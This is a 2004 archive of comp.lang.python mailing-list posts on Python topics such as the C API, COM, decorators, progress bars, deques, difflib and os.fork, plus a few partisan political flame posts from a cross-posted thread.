win32com.client.Dispatch('Arena_MarketDataServer_CurrenciesData') >>> currenciesData <COMObject Arena_MarketDataServer_CurrenciesData> The second time, it should be something like <win32com.gen_py.Arena_MarketDataServer 1.8(.9) Type Library.Arena_MarketDataServer_CurrenciesData> I've checked the GUIDs, they are ok. Any suggestions on what error this symptom indicates? From aleaxit at yahoo.com Tue Sep 7 05:48:16 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 7 Sep 2004 11:48:16 +0200 Subject: Problems with dict and C API References: <413C39F5.3040200@email.si> <1gjps70.13wrslf1onzu0wN%aleaxit@yahoo.com> <chjvls$ekj$1@planja.arnes.si> Message-ID: <1gjqrb5.1c1r97bohdv13N%aleaxit@yahoo.com> Matjaz <surfmatj at email.si> wrote: > Alex, > > thank you for this valuable piece of information. I will > indeed try to use mapping protocol as much as possible. > However, I am curious of the following: were the > functions for setting/getting items (should be PyMapping_SetItem > and PyMapping_GetItem, like that for object and dictionaries) > left out on purpose, because there exist > only "string" versions PyMapping_SetItemString and > PyMapping_GetItemString? No, you're just still looking at a too-specific level -- think abstract! PyObject_SetItem and PyObject_GetItem are the API functions you're looking for; there is no PyMapping_SetItem because it would just be a total duplicate of PyObject_SetItem, just about. The ...String convenience functions are there because using a string key is such a frequent task on mappings specifically, not on objects in general. But indexing _IS_ frequent on objects in general, so it's supported at that level. Alex From peter at engcorp.com Wed Sep 15 14:38:02 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 15 Sep 2004 14:38:02 -0400 Subject: The pythonic approach In-Reply-To: <1gk667x.c4zizl1dbti8lN%aleaxit@yahoo.com> References: <414656ab$0$4777$a729d347@news.telepac.pt> <0dS1d.52$AA4.38@read3.inet.fi> <VvudnZA1tsc0r9XcRVn-uw@powergate.ca> <mailman.3371.1095265246.5135.python-list@python.org> <5r-dnRtq1OWw59XcRVn-sg@powergate.ca> <1gk667x.c4zizl1dbti8lN%aleaxit@yahoo.com> Message-ID: <KOidnUr-b6GWEdXcRVn-vA@powergate.ca> Alex Martelli wrote: > Peter Hansen <peter at engcorp.com> wrote: >>Principle of least surprise. One rarely encounters .get(x, x) > > Funny -- I encounter it SO often I consider it a basic idiom!!! I think if the example had been one like your XML massaging example, it wouldn't have felt very out of place, even if I haven't seen it very often. (I'm quite sure I've used it myself, for the same "optional translation" characteristics, but I guess I work in areas different enough that it hasn't been frequent.) -Peter From guess at My.email.address.scum.com Tue Sep 7 12:41:40 2004 From: guess at My.email.address.scum.com (Anon) Date: Tue, 7 Sep 2004 17:41:40 +0100 Subject: Python Interpreter question. Message-ID: <chkoc4$l08$1@newsg2.svr.pol.co.uk> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hello all I am a beginner teaching myself python, and I am enjoying it immensely :) As a language it is great, I real treat to study, I actually find it fun to study the language heh Anyways to the point of my post..... The other day I was talking with a few others about the age old Interpreted v compiled language issue. Were one person was saying, "You cannot beat a compiled language." "Interpreted scripting languages like python are just to slow" he said. Well I agreed with him that compared to say C or any other compiled language, languages like python and [dare I mention the word here] 'perl', are slower in some cases; "But!!", I said, "they are also more advantageous in many other ways as well." Well, after a few minutes, another Python champion came into the debate, and turned everything on it's head by saying this, "Python is also a compiled language, and it doesn't use an interpreter, it uses the Python VM" Well I was shocked at first lol, and indignant, telling him that Python does indeed have an interpreter and python was an interpreted language, while also reminding him that I also prefer python to to other languages as well. I asked him, "Well what is sitting on my hard drive if not the Python Interpreter?" He replied that it wasn't an interpreter and was the Python compiler and VM that did what I was refering to. He went on to explain that the so called, "Interpreter" I was referring to didn't exist, and that what python does when it gets python source, or [shudders at the word] "script", is to compile the python source into python byte code and then pass that compiled data to the python VM for running. So my question is this really, Is all of that true? is it right to say in fact that python doesn't have an interpreter, but rather it has a compiler and VM for running the python code? Please forgive me if all this sounds so simple to you experienced types, Python is my 1st language, and while I am loving it and learning at a good steady rate, python is still my, "first computer language". Thanks in advance.. Anon - -- ************* The Imagination may be compared to Adam's dream- he awoke and found it truth. John Keats. ************* -----BEGIN PGP SIGNATURE----- Version: PGP 8.0 iQA/AwUBQT3kwi/z2sM4qf2WEQLKsQCcDwg03n7KYM7OmGRVjCCoCUk8PpkAn2Pa EEwtRUMnMLHi+iYtIqR1mAgT =o/5V -----END PGP SIGNATURE----- From fumanchu at amor.org Fri Sep 3 11:34:33 2004 From: fumanchu at amor.org (Robert Brewer) Date: Fri, 3 Sep 2004 08:34:33 -0700 Subject: final version of PEP-318 "Decorators for functions and methods" Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EB3@exchange.hqamor.amorhq.net> Anthony Baxter wrote: > To go along with the 2.4a3 release, here's an updated version of > the decorator PEP. It describes the state of decorators as they > are in 2.4a3. Cool. Question, though--I expect the PEP to outlast my little website. If the PEP wants to reference the J2 proposal, would it be better to host that document somewhere on python.org? If so, just grab it off my website and post it in some dark corner somewhere; then I'll put up a redirect on my site. Robert Brewer MIS Amor Ministries fumanchu at amor.org From maps_263 at hotmail.com Fri Sep 17 14:10:32 2004 From: maps_263 at hotmail.com (Jonas Hei) Date: Fri, 17 Sep 2004 20:10:32 +0200 Subject: Recommendations about xmltramp References: <opsehcf5d4r0m89z@fx1025> <p4CdnTzAp_HFvNbcRVn-jw@giganews.com> Message-ID: <opsehgrucor0m89z@fx1025> On Fri, 17 Sep 2004 13:39:36 -0400, Istvan Albert <ialbert at mailblocks.com> wrote: > > xmltramp is a XML data reading framework. It cannot corrupt data. > It may parse it incorrectly though. > > Istvan. It appears to be a little bit more than that. Check out 'Mutations and re-serialization' section at http://www.xml.com/lpt/a/2003/12/17/py-xml.html From abra9823 at mail.usyd.edu.au Wed Sep 8 01:03:04 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Wed, 8 Sep 2004 15:03:04 +1000 Subject: [XML-SIG] minidom parse error - keyerror In-Reply-To: <1094565296.413dbdb0c8c18@www-mail.usyd.edu.au> References: <1094565296.413dbdb0c8c18@www-mail.usyd.edu.au> Message-ID: <1094619784.413e9288a0f13@www-mail.usyd.edu.au> hi! i have tried the archives now and heaps of Google searches but am no closer to finding out what the error is. the error does not appear if i use expat. cheers Quoting Ajay <abra9823 at mail.usyd.edu.au>: > hi! > > i am parsing the attached document. > the code is > parser = make_parser('xml.sax.drivers2.drv_xmlproc') > ruleSet = parse(ruleSetFile, parser=parser) > > i am using python2.3.4 with PyXML version 0.8.1 > > i get the following error > > Traceback (most recent call last): > File "evaluator.py", line 59, in ? > ea = ae.evaluate("complywitheudirective.xml", "policy-eg1.xml", 0) > File "evaluator.py", line 22, in evaluate > ruleSet = parse(ruleSetFile, parser=parser) > File "C:\PYTHON23\Lib\site-packages\_xmlplus\dom\minidom.py", line > 1912, > in pa > rse > {'parser': parser, 'bufsize': bufsize}) > File "C:\PYTHON23\Lib\site-packages\_xmlplus\dom\minidom.py", line > 1899, > in _d > o_pulldom_parse > toktype, rootNode = events.getEvent() > File "C:\PYTHON23\Lib\site-packages\_xmlplus\dom\pulldom.py", line > 265, > in get > Event > self.parser.feed(buf) > File > "C:\PYTHON23\Lib\site-packages\_xmlplus\sax\drivers2\drv_xmlproc.py", > lin > e 96, in feed > self._parser.feed(data) > File > "C:\PYTHON23\Lib\site-packages\_xmlplus\parsers\xmlproc\xmlutils.py", > lin > e 332, in feed > self.do_parse() > File > "C:\PYTHON23\Lib\site-packages\_xmlplus\parsers\xmlproc\xmlproc.py", > line > 93, in do_parse > self.parse_start_tag() > File > "C:\PYTHON23\Lib\site-packages\_xmlplus\parsers\xmlproc\xmlproc.py", > line > 197, in parse_start_tag > self.app.handle_start_tag(name,attrs) > File > "C:\PYTHON23\Lib\site-packages\_xmlplus\sax\drivers2\drv_xmlproc.py", > lin > e 368, in handle_start_tag > AttributesNSImpl(attrs, rawnames)) > File "C:\PYTHON23\Lib\site-packages\_xmlplus\dom\pulldom.py", line 98, > in > star > tElementNS > prefix = self._current_context[a_uri] > KeyError: u'http://www.w3.org/2001/02/appelv1' > > > any ideas why? > > thanks > cheers > > > ---------------------------------------------------------------- > This message was sent using IMP, the Internet Messaging Program. > ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From carribeiro at gmail.com Thu Sep 23 08:13:59 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Thu, 23 Sep 2004 09:13:59 -0300 Subject: An attempt to use a python-based mini declarative language for formdefinition In-Reply-To: <1095905905.19325.143.camel@www> References: <mailman.3731.1095874585.5135.python-list@python.org> <RKadnchjSclpIszcRVn-tw@comcast.com> <mailman.3745.1095883311.5135.python-list@python.org> <0fo4d.594$zG1.432@newsread3.news.pas.earthlink.net> <1095905905.19325.143.camel@www> Message-ID: <864d370904092305135507a39f@mail.gmail.com> On 23 Sep 2004 14:18:25 +1200, WenChen <w.hol at auckland.ac.nz> wrote: > Hi > > I have done scripts to generate web form and the rest xml, content > template at once > > here is the url > http://newped.auckland.ac.nz/python/idevice_template Yes, its closely related to what I'm trying to do, but still its different, because I want to be able to write the specification of the data entry form as a Python class that can in turn be converted into a HTML representation. BTW, I solved most of the issues that were barring my progress, and I think I may be able to have something working quite fast now. Thanks for the pointer, -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From lbates at swamisoft.com Fri Sep 3 10:20:54 2004 From: lbates at swamisoft.com (Larry Bates) Date: Fri, 3 Sep 2004 09:20:54 -0500 Subject: Carriage Return Problem with Python on Windows References: <48593215.0409021155.69139a18@posting.google.com> Message-ID: <E_qdneKPO8Jb4KXcRVn-rQ@comcast.com> Here is a sample progress indicator class that should (I think) answer your questions: class progressbarClass: def __init__(self, finalcount, progresschar=None): import sys self.finalcount=finalcount self.blockcount=0 # # See if caller passed me a character to use on the # progress bar (like "*"). If not use the block # character that makes it look like a real progress # bar. # if not progresschar: self.block=chr(178) else: self.block=progresschar # # Get pointer to sys.stdout so I can use the write/flush # methods to display the progress bar. # self.f=sys.stdout # # If the final count is zero, don't start the progress gauge # if not self.finalcount : return self.f.write('\n------------------ % Progress -------------------1\n') self.f.write(' 1 2 3 4 5 6 7 8 9 0\n') self.f.write('----0----0----0----0----0----0----0----0----0----0\n') return def progress(self, count): # # Make sure I don't try to go off the end (e.g. >100%) # count=min(count, self.finalcount) # # If finalcount is zero, I'm done # if self.finalcount: percentcomplete=int(round(100*count/self.finalcount)) if percentcomplete < 1: percentcomplete=1 else: percentcomplete=100 #print "percentcomplete=",percentcomplete blockcount=int(percentcomplete/2) #print "blockcount=",blockcount if blockcount > self.blockcount: for i in range(self.blockcount,blockcount): self.f.write(self.block) self.f.flush() if percentcomplete == 100: self.f.write("\n") self.blockcount=blockcount return if __name__ == "__main__": from time import sleep pb=progressbarClass(8,"*") count=0 while count<9: count+=1 pb.progress(count) sleep(0.2) pb=progressbarClass(100) pb.progress(20) sleep(0.2) pb.progress(47) sleep(0.2) pb.progress(90) sleep(0.2) pb.progress(100) print "testing 1:" pb=progressbarClass(1) pb.progress(1) "Canes_Rock" <hinnc at yahoo.com> wrote in message news:48593215.0409021155.69139a18 at posting.google.com... > The information posted at: > > http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&threadm=slrnarv28n.e4j.TuxTrax%40fortress.tuxnet&rnum=1&prev=/groups%3Fq%3Dsuppress%2Bcarriage%2Breturn%2Bgroup:comp.lang.python.*%26hl%3Den%26lr%3D%26ie%3DUTF-8%26group%3Dcomp.lang.python.*%26selm%3Dslrnarv28n.e4j.TuxTrax%2540fortress.tuxnet%26rnum%3D1 > > seemed to provide a solution to eliminating the line feed and causing > a carriage return for the text displayed in the IDLE window, (I want > to be able to overwrite displayed text - that is, eliminating the line > feed from occuring and causing a carriage return). > > The comma at the end of the print command appeared to have eliminated > the line feed, (\n), but the carriage return, (\r) does not work. For > example, (logic borrowed from previously referenced thread): > > for i in range(10) : print '\r' + `i`, > > This produces a small square box before each number, (sorry - can't > duplicate the small square box here in this posting but if you were to > substitute X for box the output would look like this): > > X1 X2 X3 X4 X5 X6 X7 X8 X9 > > as you can see the line feed has been eliminated but the carriage > return is not functioning as I would expect, (yes - its always about > me isn't it?). > > I also tried a variation using sys.stdout.write and sys.stdout.flush > but the root cause is the issue with the carriage return. > > Am I screwed or is there a way around this? I am running Windows XP > Home Edition using Python version 2.3.3 and IDLE version 1.0.2 > > Any help would be appreciated! > > Thanks... From fuzzyman at gmail.com Mon Sep 6 08:16:51 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 6 Sep 2004 05:16:51 -0700 Subject: Automated Perl to Python translation? References: <b16e4ef7.0409040550.4432a70f@posting.google.com> Message-ID: <6f402501.0409060416.298d7822@posting.google.com> steve at ferg.org (Stephen Ferg) wrote in message news:<b16e4ef7.0409040550.4432a70f at posting.google.com>... > I need to translate some Perl scripts into Python. > > When I went looking for a tool that would help automate the > translation, I was rather surprised that I couldn't find anything. > BridgeKeeper, the only real candidate that I could find, is no longer > available. There are of course general-purpose parsing packages, but > I'm looking for something target specifically to Perl-to-Python > translation. > > Since I couldn't find anything, I've started to write my own. > Preliminary results are good, but before I spend any more time on it I > want to be really sure that I'm not re-inventing the wheel. > > Does anybody know of any tools to automate (or assist) Perl to Python > translation? My goodness - sounds like quite a project. Now if you could make it two way that would be really interesting... Cool. Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From gerrit at nl.linux.org Mon Sep 20 12:39:55 2004 From: gerrit at nl.linux.org (Gerrit) Date: Mon, 20 Sep 2004 18:39:55 +0200 Subject: Calculating days using Business Days for the Calendar In-Reply-To: <BAY2-F9sQwY6YHkidcD00040f78@hotmail.com> References: <BAY2-F9sQwY6YHkidcD00040f78@hotmail.com> Message-ID: <20040920163955.GA6374@nl.linux.org> David Stockwell wrote: > I''m wondering if the Calendar object has an option to only do calculations > based on business days (ie M-F). Additionally does it have a way to get > holidays into itself? > > Currently I'm considering converting my calculations over to business days > and am wondering if there is anything built-in. I've tried searching but > so far haven't seen such a thing built in. > > I'm thinking I'm just going to have to bite the bullet and create my own > approach to > 1) figure out the day of the week of my starting date (Calendar.weekday() > should do the trick) > 2) determine the number of days up to my finish date (i do that now) > 3) determine the number of non-business days (weekends + holidays) > 4) subtract off the number in #3 from #2 Maybe the external module ''DateUtil'' (Google for it) can help you. It is quite advanced in many aspects. Gerrit. -- Weather in Twenthe, Netherlands 20/09 17:25: 13.0?C wind 8.9 m/s SSW (57 m above NAP) -- Gerrit Holl - 2nd year student of Applied Physics, Twente University, NL. Experiences with Asperger's Syndrome: EN http://topjaklont.student.utwente.nl/english/ NL http://topjaklont.student.utwente.nl/ From usenet_spam at janc.invalid Wed Sep 15 16:43:14 2004 From: usenet_spam at janc.invalid (JanC) Date: Wed, 15 Sep 2004 20:43:14 GMT Subject: .py as executable extension on windows References: <cia8p4$i1j$02$1@news.t-online.com> Message-ID: <Xns9565E72005C08JanC@213.118.38.197> Achim Domma (Procoders) schreef: > is there a way to tell windows, that *.py files are executable, like > .bat, .js, ...? If I have someTool.py somewhere in my path I would like > to type only 'someTool param1 param2'. Is that possible? Google for "PATHEXT". -- JanC "Be strict when sending and tolerant when receiving." RFC 1958 - Architectural Principles of the Internet - section 3.9 From cbfalconer at yahoo.com Thu Sep 2 15:08:41 2004 From: cbfalconer at yahoo.com (CBFalconer) Date: Thu, 02 Sep 2004 19:08:41 GMT Subject: Xah Lee's Unixism References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net> <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <YLednXSn7obciqrcRVn-og@powergate.ca> Message-ID: <41376B82.C6A202FC@yahoo.com> Peter Hansen wrote: > Brian {Hamilton Kelly} wrote: >> wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org "SM Ryan" wrote: > >>> There's a story about why railroad tracks are spaced the way they are. >> >> Is this the one about two Roman horses' arses? If so, it also accounts >> for the physical dimensions of the Space Shuttle's boosters. > > A quick search using Google will show that while there is a > certain amount of truth in the original story, most of the > details are wrong, and the final bit about the booster rockets > is unsubstantiated. But it's still a cute story. I know nothing about those stories, but it seems reasonable to me that the boosters would have been designed to be transportable by railroad, which ties their dimensions to track gauge. -- Some similarities between GWB and Mussolini: a) The strut; b) Making war until brought up short: Mussolini: Ethiopia, France, Greece. GWB: Afghanistan, Iraq. From pfortin at pfortin.com Thu Sep 9 14:06:49 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Thu, 9 Sep 2004 14:06:49 -0400 Subject: string formatting with mapping & '*'... is this a bug? Message-ID: <20040909140649.6d2eff6e@gypsy.pfortin.com> Hi! "Python Essential Reference" - 2nd Ed, on P. 47 states that a string format can include "*" for a field width (no restrictions noted); yet... >>> "%*d" % (6,2) # works as expected ' 2' Now, with a mapping.... >>> mapping = {'one':1,'two':2} These work as expected... >>> "%(two)d" % mapping '2' >>> "%(two)6d" % mapping ' 2' Attempting to specify a field width via '*' to a mapping fails.... >>> "%(two)*d" % (mapping,6) Traceback (most recent call last): File "<stdin>", line 1, in ? TypeError: format requires a mapping >>> "%(two)-*d" % (6,mapping) Traceback (most recent call last): File "<stdin>", line 1, in ? TypeError: format requires a mapping Am I expecting too much...? Pierre From keir at mooncode.com Tue Sep 14 05:26:27 2004 From: keir at mooncode.com (keirr) Date: 14 Sep 2004 02:26:27 -0700 Subject: struct->bit access Message-ID: <ci6dg3$llo@odah37.prod.google.com> Patrick Maupin wrote: > > def extract_bit_range_value(data, low_bit, high_bit=None): > > if high_bit == None: > > high_bit = low_bit > > > > high_bit += 1 > > return ((int(data) & ( ~(-1L << (high_bit - low_bit) ) << low_bit > > )) >> low_bit) > > I ususally do something similar, but a bit simpler: > > def extract_bit_range_value(data, low_bit, numbits = 1): > return (data >> low_bit) & ((1 << numbits)-1) > > Regards, > Pat Pat, Yep, that's simpler (and thus better)- thanks :-) Cheers, Keir. From mauriceling at acm.org Fri Sep 3 00:48:35 2004 From: mauriceling at acm.org (Maurice LING) Date: Fri, 03 Sep 2004 04:48:35 GMT Subject: compiling to python byte codes In-Reply-To: <ch8r2b$mva$1@news.service.uci.edu> References: <4136b2b5$1@news.unimelb.edu.au> <4136bbf3$0$197$9b622d9e@news.freenet.de> <6f402501.0409020321.44fd443@posting.google.com> <41375f6a$0$13076$9b622d9e@news.freenet.de> <4137a850$1@news.unimelb.edu.au> <pan.2004.09.02.20.00.45.714844@jerf.org> <4137bf73$1@news.unimelb.edu.au> <pan.2004.09.02.22.49.36.55719@jerf.org> <4137e739$1@news.unimelb.edu.au> <ch8r2b$mva$1@news.service.uci.edu> Message-ID: <4137f79f$1@news.unimelb.edu.au> > > Well, x86/PPC assembly operates on registers. Python uses a stack. > See http://docs.python.org/lib/bytecodes.html > > If you're using registers, I guess you'd have to store the values in > variables, and load/store them through the stack whenever you do an > operation -- maybe with some optimization if you can keep the result on > the stack. I dont't quite get this right. Since x86/PPC uses register operations, why do virtual machines, like python's and java's, are designed as stack machines? Why not just stick to registers? maurice From cbfalconer at yahoo.com Thu Sep 9 15:41:04 2004 From: cbfalconer at yahoo.com (CBFalconer) Date: Thu, 09 Sep 2004 19:41:04 GMT Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <u8ybrrzqd.fsf@mail.comcast.net> <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com> <uzn47qezk.fsf@mail.comcast.net> <rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com> <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <4140688e$0$6912$61fed72c@news.rcn.com> Message-ID: <4140A424.DC2AD365@yahoo.com> jmfbahciv at aol.com wrote: > CBFalconer <cbfalconer at yahoo.com> wrote: > ... snip ... >> >> There is no need, nor cause, to impute Bush & Co. with >> intrinsically evil intentions. It is quite enough to point to >> their lack of capability, and bull headed 'revenge for daddy' >> propensities. The state of the economy, unemployment, poverty >> rate, medical care, deficit, death rate in Iraq (both of Americans >> and Iraqis), abandonment of the Bin Laden hunt, abridgement of >> civil liberties (as in the Patriot Act and the Gitmo gulag), poor >> choice of companions (Halliburton and other political donors and >> trough feeders, and the 'plausible deniability' of the Swiftboat >> gang), irritation of allies, inability to deal with North Korea >> (due to involvement with useless adventures), abandonment of >> efforts towards a Palestinian peace, all spring to immediate mind. > > Well, your Bush-hater campaign is working beyond all your > expectations. One day, you will have to live it. But the point is that most people neither love nor hate Bush. They hate his misguided and thoughtless actions. The comics love him, as he provides so many ridiculous quotes. The wealthy love him, as he transfers taxes from them to the middle class and the poor. Bin Laden loves him, as he provides manna for his rabble rousing. The NRA loves him, as he blocks any renewal of gun laws. Halliburton loves him. >> >> Yes, we have had no experience with a Kerry administration, > > OH, fuckmeverymuch. I am in Mass. We do have some > experience of a Kerry administration. For those you who don't, > watch how he runs his campaign. He will run the country in the > same manner. No, you have experience of a Senate career. The famous war votes show that he is responsible, since he voted for a bill that provided for financing, and against a modified bill that simply ran up the deficit. At the time very few knew that the alleged Sadamian sins were largely pipe dreams, that the hunt for the 9/11 perpetrators was to be discarded, and that no preparation for the results was to be made. His major error was in placing some trust in the Bush administration. The post Viet Nam episodes show that he has a functioning conscience. Some people learn from their mistakes. Bush is a much different thing. With him you had experience of a Governorship in a state that almost totally emasculates the power of a Governor, apart from the ability to sign death warrants and deny mercy. We have seen the ugly result of giving him some power, as I partially enumerated above. > >> .. but we >> have had far too much experience with a Bush administration. > ... snip adhominem garbage ... > Things can be worse..a lot worse. True. But those candidates aren't running for President this time. -- "Churchill and Bush can both be considered wartime leaders, just as Secretariat and Mr Ed were both horses." - James Rhodes. "We have always known that heedless self-interest was bad morals. We now know that it is bad economics" - FDR From nytimes at swiftdsl.com.au Fri Sep 17 07:31:18 2004 From: nytimes at swiftdsl.com.au (huy) Date: Fri, 17 Sep 2004 21:31:18 +1000 Subject: Using PLY In-Reply-To: <414a6ca1$1@news.unimelb.edu.au> References: <414a6ca1$1@news.unimelb.edu.au> Message-ID: <414acb08$0$2413$61ce578d@news.syd.swiftdsl.com.au> Maurice LING wrote: > Hi, > > I know that PLY lex is able to do line counting. I am wondering if there > is a way to count the number of each keywords (tokens) in a given file? > For example, how many IF tokens etc? > > Thanks > Maurice PLY can do much more then line counting. Build an AST then just count your IF tokens. If you can use ply to recognise your if tokens, then you can easility count them. It's kinda vague what you are wanting to do ? Is it source code you are parsing or text with keywords ? Huy From behnel_ml at dvs1.informatik.tu-darmstadt.de Thu Sep 30 09:12:41 2004 From: behnel_ml at dvs1.informatik.tu-darmstadt.de (Stefan Behnel) Date: Thu, 30 Sep 2004 15:12:41 +0200 Subject: SegFault using deque in 2.4b3 - Oh well, make that 2.4-a-3 ... (NT) In-Reply-To: <cjgvhs$c33$1@lnx107.hrz.tu-darmstadt.de> References: <cjgvhs$c33$1@lnx107.hrz.tu-darmstadt.de> Message-ID: <cjh0j3$cff$2@lnx107.hrz.tu-darmstadt.de> > In Python 2.4-a-3, the deque is causing a segfault on two different > machines I tested on. > > With deque, my program runs fine for a while (at least some tens of > seconds up to minutes) and then suddenly segfaults. > > I'm sorry I can't tell exactly when, but I'm running an application that > uses a few hundred deques where elements are appendleft()ed and pop()ed > (simple queue). As the application is rather complex (and I didn't read > about this error before anywhere), I guess it could be quite a bit of > work for me to come up with a test case. > > At least I couldn't reproduce it with simple loops running interleaved > pop/appendleft and my machine has enough memory, so that's not the > problem. I'm not using things like Psyco either, which BTW (in 2.4) > segfaults as well (1.2 and CVS). > > Anyway, when I replace the deque with this: > > class deque(list): > def appendleft(self, item): > self.insert(0, item) > > the segfault disappears, so it's definitely deque's fault. > > Has anyone else observed this problem? > > Stefan From christian at mvonessen.de Mon Sep 20 11:40:08 2004 From: christian at mvonessen.de (Christian von Essen) Date: Mon, 20 Sep 2004 17:40:08 +0200 Subject: python is going to die! =( References: <mailman.3520.1095631846.5135.python-list@python.org> Message-ID: <pan.2004.09.20.15.40.03.867418@mvonessen.de> I remembered, that I've already read something very similar. Look here: http://groups.google.de/groups?hl=de&lr=&ie=UTF-8&frame=right&rnum=1&thl=0,1042084886,1042072683,1041557332,1041489000,1041405827,1040684903,1042040091,1041992949,1041893772,1041839812,1041698124&seekm=3f357a9b%40shknews01#link1 Or just search for C# Python in c.l.p From aleaxit at yahoo.com Thu Sep 23 17:24:16 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 23 Sep 2004 23:24:16 +0200 Subject: Python in a Nutshell for Python 2.4 References: <df045d93.0409221344.52d18be9@posting.google.com> <2Pt4d.5568$sa.2954@trndny05> <1gkkjme.1larcxs9r607kN%aleaxit@yahoo.com> <mailman.3790.1095959172.5135.python-list@python.org> Message-ID: <1gkl90k.amhv49fizafzN%aleaxit@yahoo.com> Josh Close <narshe at gmail.com> wrote: ... > Is there any particular reason you left out certain things in the > Nutshell book? Like os.fork and syslog, and a few others I can't think > of off the top of my head? Maybe because they work the same as the C > version or something, or there is man pages about it? The hardest part of writing the Nutshell was to decide what to include, or more precisely, what NOT to include, to make it as useful as possible within the 600-pages limit (I broke that limit, a bit, but not by much; it's 635 pages all told, I believe). It would have been much easier to just cover every bit in the standard library, avoid useful stuff that's not in the standard library (Numeric, Tkinter, mxDateTime, etc etc), and basically parrot the standard library docs. I believe (judging, basically, by the reviews I got) that by selectively covering only "the most useful parts" (in my own very personal judgment...) of the standard library, I managed to make the book more useful to most readers than it would have been had I taken the easier route. The exhaustive online docs _are_ there, after all, when you need to make sure you can see the docs about _every_thing, without Alex's judgment getting in the way; the Nutshell hopefully covers the parts most readers need most often. The fact that some parts of the Python standard library only work under some platforms, but not others, is something I gave high priority to, in deciding what to cover and what not. I think page xi is quite up-front about it: "This book ... focuses on Python's cross-platform capabilities". I do cover _some_ platform-specific aspects, such as "richer text I/O" (readline, Gonnerman's Alternative Readline, curses, Gonnerman's WConio, Lundh's Console -- sometimes with just very brief mentions...), because my experience suggests that such functionality IS highly sought after by the kind of readers who may often be not experienced enough to have an easy time finding out the info otherwise. But mostly, the Nutshell is focused on cross-platform, not platform specific stuff. > Just curious why, and if they'll be in the next version or not. I will review every decision I've made, and, should there be an outcry in favour of platform-specific coverage (so far, I haven't heard many complaints about the cross-platform focus), I may have to reconsider -- dropping something else (deciding _what_ to drop will be sheer agony...) to make space for syslog, linuxaudiodev, _winreg, EasyDialogs, whatever. I think there should be separate books about platform-specific Python (so far, there's one -- alas getting rather old -- about Windows, but none about the Mac, Linux, or other Unixen), since just focusing on the cross-platform potential of Python fills a decent-sized book to the point it's bursting at the seams (I'm not interested in 1000+ pages books, and neither is O'Reilly for its Nutshell series). Whether publishers, and the book-buyers' market, agree with me, is of course another issue (a proposal for a platform-specific book about Python for the Mac got rejected -- by the major publisher of Python books AND of Mac books, they should have a good feeling for these markets -- as aimed to "a niche within a niche", alas). Alex From google0 at lazytwinacres.net Sun Sep 12 11:16:38 2004 From: google0 at lazytwinacres.net (Dan Dang Griffith) Date: 12 Sep 2004 08:16:38 -0700 Subject: Best way to compare the contents of two directories References: <95c29a5e.0409111640.6980271f@posting.google.com> Message-ID: <87274528.0409120716.6c0fd07b@posting.google.com> robin.siebler at palmsource.com (Robin Siebler) wrote in message news:<95c29a5e.0409111640.6980271f at posting.google.com>... >I have two directory trees that I want to compare and I'm trying to >figure out what the best way of doing this would be. I am using walk >to get a list of all of the files in each directory. Once you have the two lists, look into difflib. E.g., import difflib for i in difflib.ndiff(list1, list2): print i Dan Gass has recently contributed some code that can produce a side-by-side difference in HTML format. I believe it is in the 2.4 release, but you can also get it from """https://sourceforge.net/tracker/?func=detail&atid=305470&aid=914575&group_id=5470""" import difflib tbl = difflib.HtmlDiff().make_file(list1, list2) f = open("diffs.html", "w") f.write(tbl) f.close() --dang From carribeiro at gmail.com Mon Sep 13 13:19:24 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 13 Sep 2004 14:19:24 -0300 Subject: ANN:A wxHtmlWindow forms implementation. In-Reply-To: <1095057128.250036@news.commspeed.net> References: <1095057128.250036@news.commspeed.net> Message-ID: <864d370904091310192783a632@mail.gmail.com> Tom, I've downloaded your code but wasn't able to run the demo. It stops with a "no module named Main" exception. In fact, no such module is mentioned in your message. BTW, it would be useful if you added a small description to your package announcement -- what it does, what is it useful for, etc. I'm checking it out of curiosity, but I admit that I don't know exactly what to expect. Best regards, -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From FBatista at uniFON.com.ar Mon Sep 13 17:20:44 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Mon, 13 Sep 2004 18:20:44 -0300 Subject: os.fork() question? Message-ID: <A128D751272CD411BC9200508BC2194D053C794F@escpl.tcp.com.ar> [rattan at cps.cmich.edu] #- So, what does it return on failure? I tried it under Linux #- with Python-2.3.4, after few thousand forks the system just hangs! #- (does not return/report fork failure) Be aware that mybe in this case, when the system hangs, the fork does not raises OSError because the system does not returns nothing because, well, it hangs. . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20040913/d01be931/attachment.html> From narshe at gmail.com Tue Sep 21 14:48:04 2004 From: narshe at gmail.com (Josh Close) Date: Tue, 21 Sep 2004 13:48:04 -0500 Subject: OT: regex to find email In-Reply-To: <cipmad$upd$1@sea.gmane.org> References: <4a0cafe204092108038020f72@mail.gmail.com> <cipg60$ap1$1@sea.gmane.org> <4a0cafe2040921084828f898d8@mail.gmail.com> 